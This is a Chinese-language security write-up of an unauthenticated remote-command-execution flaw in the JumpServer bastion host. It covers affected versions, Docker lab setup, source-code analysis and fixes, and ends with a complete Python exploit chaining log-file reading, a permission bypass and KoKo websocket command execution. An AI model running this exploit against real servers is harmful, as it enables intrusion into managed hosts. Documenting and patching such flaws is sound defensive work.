简介

JumpServer 是全球首款完全开源的堡垒机, 使用 GNU GPL v2.0 开源协议, 是符合 4A 的专业运维审计系统。 使用 Python / Django 进行开发, 遵循 Web 2.0 规范, 配备了业界领先的 Web Terminal 解决方案, 交互界面美观、用户体验好。 采纳分布式架构, 支持多机房跨区域部署, 中心节点提供 API, 各机房部署登录节点, 可横向扩展、无并发访问限制。

由于JumpServer程序中连接websocket的接口未做授权限制,导致攻击者可构造恶意请求获取服务器敏感信息,通过敏感信息中的相关参数,可构造请求获取相应token,进而可通过相关API操作来执行任意命令。

影响版本

1
2
3
4
JumpServer < v2.6.2  
JumpServer < v2.5.4
JumpServer < v2.4.5
JumpServer = v1.5.9

安全版本

1
2
3
4
JumpServer >= v2.6.2 
JumpServer >= v2.5.4
JumpServer >= v2.4.5
JumpServer = v1.5.9(修复版)

commit记录

1
https://github.com/jumpserver/jumpserver/commit/8f792dc4b65aff6213496d8318bb518ecf6c4d75

环境搭建

搭建JumpServer有三种方式:

  • 项目源码编译搭建,(不推荐搭建复杂,但能了解JumpServer内组件和关键设置)
  • 脚本quick_start.sh快速安装(推荐)
  • Docker容器化安装(推荐)

个人感觉选择Docker最好,方便关键参数设置。

首先创建mysql容器

1
docker run -d --name mysql --restart=always -e MYSQL_ROOT_PASSWORD=abcd@1234  -p 3306:3306 -v /Users/rai4over/Desktop/mysqldata:/var/lib/mysql mysql:5.7 --character-set-server=utf8mb4 --collation-server=utf8mb4_unicode_ci

进入mysql容器内

1
docker exec -it mysql /bin/bash

JumpServer创建数据库和对应数据库账户

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
root@dbf8cbc59abf:/# mysql -u root -pabcd@1234
mysql: [Warning] Using a password on the command line interface can be insecure.
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 2
Server version: 5.7.32 MySQL Community Server (GPL)

Copyright (c) 2000, 2020, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> create database jumpserver default charset 'utf8mb4';
Query OK, 1 row affected (0.01 sec)

mysql> grant all on jumpserver.* to 'jumpserver'@'%' identified by 'abcd@1234';
Query OK, 0 rows affected, 1 warning (0.01 sec)

mysql> flush privileges;
Query OK, 0 rows affected (0.01 sec)

mysql> exit
Bye

创建Redis实例

1
docker run -d -it --name redis -p 6379:6379 -v /Users/rai4over/Desktop/redisdata:/data --restart=always  --sysctl net.core.somaxconn=1024  redis:4.0.10 --requirepass "123456"

配置$SECRET_KEY环境变量

1
if [ "$SECRET_KEY" = "" ]; then SECRET_KEY=`LC_CTYPE=C tr -dc A-Za-z0-9 < /dev/urandom | head -c 50`; echo "SECRET_KEY=$SECRET_KEY" >> ~/.zshrc; echo $SECRET_KEY; else echo $SECRET_KEY; fi

配置$BOOTSTRAP_TOKEN环境变量

1
if [ "$BOOTSTRAP_TOKEN" = "" ]; then BOOTSTRAP_TOKEN=`LC_CTYPE=C tr -dc A-Za-z0-9 < /dev/urandom | head -c 16`; echo "BOOTSTRAP_TOKEN=$BOOTSTRAP_TOKEN" >> ~/.zshrc; echo $BOOTSTRAP_TOKEN; else echo $BOOTSTRAP_TOKEN; fi

使用两个环境变量并作为参数,创建JumpServer容器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
docker run -d --name jumpserver -h jumpserver --restart=always  \
-v /Users/rai4over/Desktop/jumpserverdata:/opt/jumpserver/data/media \
-p 80:80 \
-p 2222:2222 \
-e SECRET_KEY=$SECRET_KEY \
-e BOOTSTRAP_TOKEN=$BOOTSTRAP_TOKEN \
-e DB_HOST=172.16.191.1 \
-e DB_PORT=3306 \
-e DB_USER=jumpserver \
-e DB_PASSWORD="abcd@1234" \
-e DB_NAME=jumpserver \
-e REDIS_HOST=172.16.191.1 \
-e REDIS_PORT=6379 \
-e REDIS_PASSWORD="123456" \
jumpserver/jms_all:v2.5.3

JumpServer运行在8080,需要通过运行在80的反向代理Nginx访问。

设置管理的资产、用户的权限

image-20210118152622147

想要使用Web终端,需要对资产、用户进行对应的授权

image-20210118152752091

然后使用Web终端连接管理的主机

image-20210118153456890

漏洞分析

漏洞大概分为几个过程:

  • JumpServer-Websockets-1 接口任意log文件读取,三个关键参数asset_idsystem_user_iduser_id
  • JumpServer-Websockets-2 接口权限绕过、提升,利用参数生成token
  • KoKo-Websockets 接口利用token生成id,控制资产主机进行远程命令执行。

前置的Nginx的路由配置也需要注意

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
server {
listen 80;
# server_name _;

client_max_body_size 1024m; # 录像及文件上传大小限制

location /ui/ {
try_files $uri / /index.html;
alias /opt/lina/;
expires 24h;
}

location /luna/ {
try_files $uri / /index.html;
alias /opt/luna/;
expires 24h;
}

location /media/ {
add_header Content-Encoding gzip;
root /opt/jumpserver/data/;
}

location /static/ {
root /opt/jumpserver/data/;
expires 24h;
}

location /koko/ {
proxy_pass http://localhost:5000;
proxy_buffering off;
proxy_http_version 1.1;
proxy_request_buffering off;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "upgrade";
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
access_log off;
}

location /guacamole/ {
proxy_pass http://localhost:8081/;
proxy_buffering off;
proxy_http_version 1.1;
proxy_request_buffering off;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection $http_connection;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
access_log off;
}

location /ws/ {
proxy_pass http://localhost:8070;
proxy_buffering off;
proxy_http_version 1.1;
proxy_request_buffering off;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "upgrade";
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}

location /api/ {
proxy_pass http://localhost:8080;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}

location /core/ {
proxy_pass http://localhost:8080;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}

location / {
rewrite ^/(.*)$ /ui/$1 last;
}
}

Payload中设计的URL对号入座即可。

日志读取

需要使用Web终端访问一次资产主机,才会产生漏洞需要的三个关键参数的日志,日志默认位于/opt/jumpserver/logs/gunicorn.log

image-20210119172417615

文件读取测试

image-20210119173305275

代码位置:apps/ops/ws.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
class CeleryLogWebsocket(JsonWebsocketConsumer):
disconnected = False

def connect(self):
self.accept()

def receive(self, text_data=None, bytes_data=None, **kwargs):
data = json.loads(text_data)
task_id = data.get("task")
if task_id:
self.handle_task(task_id)

def wait_util_log_path_exist(self, task_id):
log_path = get_celery_task_log_path(task_id)
while not self.disconnected:
if not os.path.exists(log_path):
self.send_json({'message': '.', 'task': task_id})
time.sleep(0.5)
continue
self.send_json({'message': '\r\n'})
try:
logger.debug('Task log path: {}'.format(log_path))
task_log_f = open(log_path, 'rb')
return task_log_f
except OSError:
return None

def read_log_file(self, task_id):
task_log_f = self.wait_util_log_path_exist(task_id)
if not task_log_f:
logger.debug('Task log file is None: {}'.format(task_id))
return

task_end_mark = []
while not self.disconnected:
data = task_log_f.read(4096)
if data:
data = data.replace(b'\n', b'\r\n')
self.send_json(
{'message': data.decode(errors='ignore'), 'task': task_id}
)
if data.find(b'succeeded in') != -1:
task_end_mark.append(1)
if data.find(bytes(task_id, 'utf8')) != -1:
task_end_mark.append(1)
elif len(task_end_mark) == 2:
logger.debug('Task log end: {}'.format(task_id))
break
time.sleep(0.2)
task_log_f.close()

def handle_task(self, task_id):
logger.info("Task id: {}".format(task_id))
thread = threading.Thread(target=self.read_log_file, args=(task_id,))
thread.start()

获取task参数,然后进入read_log_file函数读取日志,调用wait_util_log_path_exist函数判断路径是否存在并读取,接着调用get_celery_task_log_path函数

apps.ops.celery.utils.get_celery_task_log_path

1
2
3
4
5
6
def get_celery_task_log_path(task_id):
task_id = str(task_id)
rel_path = os.path.join(task_id[0], task_id[1], task_id + '.log')
path = os.path.join(settings.CELERY_LOG_DIR, rel_path)
os.makedirs(os.path.dirname(path), exist_ok=True)
return path

目录跳转拼接后得到/opt/jumpserver/logs/gunicorn.log完整路径,并返回读取入职内容,此时从日志中可以获取asset_idsystem_user_iduser_id三个参数。

此处接口的修复方式为增加权限校验:

image-20210119192501255

未授权获取token

将前面获取到的三个关键参数传入该接口,进一步获取token

image-20210119214822692

代码位置:apps/authentication/api/auth.py

image-20210119193955734

get_permissions方法重写了接口的访问权限,可以通过user-only重新设置API访问权限为AllowAny,权限绕过后通过post方法生成一个有效期为20s的token

此处接口的修复方式为删除重写的访问权限:

image-20210119220550343

KOKO RCE

发送token,获取id

image-20210119215602024

初始化ssh连接

image-20210119215741034

远程命令执行

image-20210119215745446

代码位置:pkg/httpd/webserver.go

image-20210119213503271

/toekn无需进行权限校验,跟进processTokenWebsocket函数

image-20210119220407407

获取管理服务器远程命令执行权限。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
# coding=utf-8

import asyncio
import websockets
import json
import requests
import re

target_url = 'http://127.0.0.1'
cmd = "ifconfig"


async def get_token():
print('========================================================================================================================================================')
url = target_url.replace("http", "ws") + "/ws/ops/tasks/log/"
print("Request => " + url + "token")
async with websockets.connect(url, timeout=3) as websocket:
await websocket.send('{"task":"/opt/jumpserver/logs/gunicorn"}')
for x in range(1000):
try:
rs = await asyncio.wait_for(websocket.recv(), timeout=3)
print("Recv => " + rs)
if '/api/v1/perms/asset-permissions/user/validate' in rs:
break
except:
print("Vulnerability may not exist")
exit()

print('========================================================================================================================================================')
print('Vulnerability may exist')

pattern = re.compile(r'asset_id=(.*?)&cache_policy=1&system_user_id=(.*?)&user_id=(.*?) ')
matchObj = pattern.search(rs)

if matchObj:
asset_id = matchObj.group(1)
print('asset_id = ' + asset_id)
system_user_id = matchObj.group(2)
print('system_user_id = ' + system_user_id)
user_id = matchObj.group(3)
print('user_id = ' + user_id)
print('========================================================================================================================================================')

data = {'asset': asset_id, 'system_user': system_user_id, 'user': user_id}
url = target_url + '/api/v1/users/connection-token/?user-only=1'
print("Request => " + url + ' get token')
response = requests.post(url, json=data).json()
print('token = ' + response['token'])
print('========================================================================================================================================================')

return response['token']


async def attack(url):
async with websockets.connect(url, timeout=3) as websocket:
print("Request => " + url)
rs = await websocket.recv()
print("Recv => " + rs)
id = json.loads(rs)["id"]
print("id = " + id)
print('========================================================================================================================================================')

init_payload = json.dumps({"id": id, "type": "TERMINAL_INIT", "data": "{\"cols\":164,\"rows\":17}"})
print("Request => " + "TERMINAL_INIT")
await websocket.send(init_payload)
rs = await websocket.recv()
print("Recv => " + rs)

rs = ""
while "Last login" not in rs:
rs = await websocket.recv()
print("Recv => " + rs)

cmd_payload = json.dumps({"id": id, "type": "TERMINAL_DATA", "data": cmd + "\r\n"})
print("Request => " + "Cmd Payload")
await websocket.send(cmd_payload)

for x in range(1000):
try:
rs = await asyncio.wait_for(websocket.recv(), timeout=3)
print("Recv => " + rs)
except:
print('========================================================================================================================================================')
print('recv data end')
break


def exp():
token = asyncio.get_event_loop().run_until_complete(get_token())
url = target_url.replace("http", "ws") + "/koko/ws/token/?target_id=" + token
asyncio.get_event_loop().run_until_complete(attack(url))


if __name__ == '__main__':
exp()

参考

https://mp.weixin.qq.com/s/BMYBrfa6V-qr3l9fEYjiLQ

https://www.cnblogs.com/xiao987334176/p/12172811.html